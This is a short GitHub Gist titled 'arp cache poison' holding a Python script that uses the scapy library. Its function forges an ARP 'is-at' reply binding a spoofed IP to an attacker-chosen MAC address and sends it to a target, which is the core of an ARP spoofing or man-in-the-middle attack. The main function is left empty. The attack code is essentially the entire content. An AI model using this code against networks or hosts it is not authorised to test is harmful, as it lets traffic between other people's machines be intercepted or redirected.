Created
November 18, 2013 20:00
-
-
Save david415/7534362 to your computer and use it in GitHub Desktop.
arp cache poison
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import scapy | |
import scapy.all | |
from scapy.all import ARP, send | |
def poison_arpcache(target_ip, spoofed_ip, spoofed_mac): | |
p = ARP() | |
p.op = "is-at" | |
p.hwsrc = spoofed_mac | |
p.psrc = spoofed_ip | |
p.hwdst = "ff:ff:ff:ff:ff:ff" | |
p.pdst = target_ip | |
send(p) | |
def main(): | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment